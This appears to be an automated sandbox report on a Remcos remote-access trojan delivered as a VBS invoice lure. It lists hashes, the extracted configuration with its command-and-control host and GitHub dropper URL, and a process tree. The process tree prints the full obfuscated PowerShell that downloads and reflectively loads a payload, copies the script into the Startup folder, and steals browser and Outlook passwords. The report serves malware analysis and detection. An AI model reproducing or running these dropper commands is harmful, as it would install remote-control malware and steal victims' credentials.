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Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/10/2024, 12:22

General

  • Target

    KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs

  • Size

    486KB

  • MD5

    bfe8bd92459f45bda7c2144a9ae3ad70

  • SHA1

    5c8a674b4dec5b7c6bfe579d5ba7c30bd426b66f

  • SHA256

    705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139

  • SHA512

    fbd3c5fa3bf90cec9227912c203898870716d0cb50b0a6caade19aaf4493dce3cc4a7c1a77c713fe8963159d3195837ca1ef6dcfde8700fceed633aa7c3e7d06

  • SSDEEP

    12288:KZejbep/wU35vTs06uFBRBzPupRWdOrDt/bDqPm3hqekZEeWZCmHFLCCAYpdStSU:NX2oZLRgIZ2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

NEWS

C2

ab9001.ddns.net:35890

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    vlc.exe

  • copy_folder

    vlc

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    Rmc-YJH0WY

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    reg

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:840
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:212
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUV4ICgoJ2wnKydjJysnWicrJ3VybCA9JysnIFU4Y2h0dHAnKydzOi8vJysncmF3LicrJ2dpdCcrJ2h1YicrJ3UnKydzZXInKydjbycrJ250JysnZW50LmNvbS8nKydOb0RldGVjdE9uL05vRGV0ZScrJ2N0TycrJ24vcmVmcy8nKydoZScrJ2FkcycrJy9tYWluL0RlJysndGEnKydoTm90JysnaC1WLnR4dCcrJ1U4YzsgJysnbGMnKydaYmFzZTY0JysnQ28nKydudGVudCA9ICcrJyhOZXctT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2wnKydpZW50KS5Eb3cnKyduJysnbG9hJysnZFN0cmknKyduZygnKydsYycrJ1p1cmwnKycpJysnOyBsJysnY1piaW5hcnlDb250ZScrJ250ID0gW1MnKyd5JysncycrJ3RlbS5DbycrJ252ZXInKyd0XTonKyc6JysnRnJvbUJhJysnc2UnKyc2JysnNFN0cmluZyhsY1onKydiYXNlNjRDb250ZW4nKyd0KScrJzsnKycgbGNaYXNzJysnZW0nKydibHkgJysnPSBbJysnUmVmbCcrJ2VjdGknKydvbi5BcycrJ3NlbWJseV06OkxvJysnYWQobCcrJ2MnKydaJysnYmluJysnYXJ5JysnQ29udGVuJysndCknKyc7JysnIFtkbmxpYi4nKydJTy5Ib20nKydlJysnXTo6JysnVkFJKFI3ODAnKycvQ28nKydoJysnblUvZC8nKydlZS5lJysndCcrJ3NhcC8nKycvOnNwdHQnKydoUicrJzc4LCBSNzhkZXMnKydhdCcrJ2knKyd2YWRvUjc4LCcrJyBSNycrJzgnKydkZXNhdGknKyd2JysnYWQnKydvUjc4LCAnKydSNzhkZXNhJysndCcrJ2knKyd2YWRvUjc4JysnLCBSNycrJzhBZGRJblAnKydyb2Nlc3MzMlInKyc3OCwgUjc4UicrJzc4LFI3OFI3OCcrJyknKS5yRXBsYWNFKCdsY1onLFtzdHJJTkddW0NIQXJdMzYpLnJFcGxhY0UoKFtDSEFyXTg1K1tDSEFyXTU2K1tDSEFyXTk5KSxbc3RySU5HXVtDSEFyXTM5KS5yRXBsYWNFKChbQ0hBcl04MitbQ0hBcl01NStbQ0hBcl01NiksW3N0cklOR11bQ0hBcl0zNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEx (('l'+'c'+'Z'+'url ='+' U8chttp'+'s://'+'raw.'+'git'+'hub'+'u'+'ser'+'co'+'nt'+'ent.com/'+'NoDetectOn/NoDete'+'ctO'+'n/refs/'+'he'+'ads'+'/main/De'+'ta'+'hNot'+'h-V.txt'+'U8c; '+'lc'+'Zbase64'+'Co'+'ntent = '+'(New-Object S'+'ystem.Net.WebCl'+'ient).Dow'+'n'+'loa'+'dStri'+'ng('+'lc'+'Zurl'+')'+'; l'+'cZbinaryConte'+'nt = [S'+'y'+'s'+'tem.Co'+'nver'+'t]:'+':'+'FromBa'+'se'+'6'+'4String(lcZ'+'base64Conten'+'t)'+';'+' lcZass'+'em'+'bly '+'= ['+'Refl'+'ecti'+'on.As'+'sembly]::Lo'+'ad(l'+'c'+'Z'+'bin'+'ary'+'Conten'+'t)'+';'+' [dnlib.'+'IO.Hom'+'e'+']::'+'VAI(R780'+'/Co'+'h'+'nU/d/'+'ee.e'+'t'+'sap/'+'/:sptt'+'hR'+'78, R78des'+'at'+'i'+'vadoR78,'+' R7'+'8'+'desati'+'v'+'ad'+'oR78, '+'R78desa'+'t'+'i'+'vadoR78'+', R7'+'8AddInP'+'rocess32R'+'78, R78R'+'78,R78R78'+')').rEplacE('lcZ',[strING][CHAr]36).rEplacE(([CHAr]85+[CHAr]56+[CHAr]99),[strING][CHAr]39).rEplacE(([CHAr]82+[CHAr]55+[CHAr]56),[strING][CHAr]34) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3976
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3320
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\aqsymouehztyslqr"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:864
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\lkgjmgmyvhldvzevcht"
            5⤵
            • Accesses Microsoft Outlook accounts
            • System Location Discovery: System Language Discovery
            PID:1944
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\nelbnyxajpdqffazlrgmbg"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1168

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d42b6da621e8df5674e26b799c8e2aa

    SHA1

    ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

    SHA256

    5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

    SHA512

    53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    ffac8b8ccfcd02c439e5b657bae44131

    SHA1

    6fe58720b5142ac7fae60a140996b782535f3b83

    SHA256

    f4145bbe19eed10cf7120ae499a491832d723a6288c2133f43dd03e35b12c7a4

    SHA512

    ad53eb58773b375128acbc7461446d0a5d35dda8128b9668080fe684f7f7dc53455da3ff761f2095a20559b86c8343760376bbeae4023609526383da2da9c9bd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q3aen50p.iov.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\aqsymouehztyslqr

    Filesize

    4KB

    MD5

    2538ec9e8425a905937573069b77d4c2

    SHA1

    ad0c2b7aff4382e23444d26adac96d9697b849f3

    SHA256

    29338949fae4c88a972837aae898529e4c7a2c4df35982eef2f8d7b602c17f4e

    SHA512

    a867a471b837b9c662528ee7a5904e8fe7b1eebb277b8a7fe4d4caf423fae914baf692bb5004c02ddb539b157d63326178467e28b03aa92a533cda19155d501c

  • C:\Users\Admin\remcos\logs.dat

    Filesize

    144B

    MD5

    4672219a19ea79f2297b568dcbfd1d6d

    SHA1

    607b38bc91fce9ca1a294cc0be2b6b521cd9af2f

    SHA256

    c50d6de3846847d24d3f00f837e79fe381daf136849b65a39aa6a1dabd7d7538

    SHA512

    f2a2aad9c9368ae4a22ad69d81f2d340f3355e9dc98b81152a05542d87b3e3ebcd16fecac4982ae7bc29aa46a22d2f410f90b6a38fb611d6d3bc765fdcb0edc3

  • memory/864-66-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/864-58-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/864-65-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1168-63-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1168-62-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1168-60-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1944-59-0x0000000000400000-0x0000000000457000-memory.dmp

    Filesize

    348KB

  • memory/1944-64-0x0000000000400000-0x0000000000457000-memory.dmp

    Filesize

    348KB

  • memory/1944-61-0x0000000000400000-0x0000000000457000-memory.dmp

    Filesize

    348KB

  • memory/3320-39-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-78-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-50-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-51-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-52-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-55-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-57-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-48-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-47-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-44-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-43-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-102-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-103-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-95-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-94-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-87-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-86-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-72-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-79-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3320-49-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3740-7-0x0000028340D80000-0x0000028340DA2000-memory.dmp

    Filesize

    136KB

  • memory/3740-12-0x00007FFF53B30000-0x00007FFF545F1000-memory.dmp

    Filesize

    10.8MB

  • memory/3740-13-0x00007FFF53B30000-0x00007FFF545F1000-memory.dmp

    Filesize

    10.8MB

  • memory/3740-14-0x00007FFF53B30000-0x00007FFF545F1000-memory.dmp

    Filesize

    10.8MB

  • memory/3740-17-0x00007FFF53B30000-0x00007FFF545F1000-memory.dmp

    Filesize

    10.8MB

  • memory/3740-1-0x00007FFF53B33000-0x00007FFF53B35000-memory.dmp

    Filesize

    8KB

  • memory/3976-38-0x00000221C5930000-0x00000221C5B50000-memory.dmp

    Filesize

    2.1MB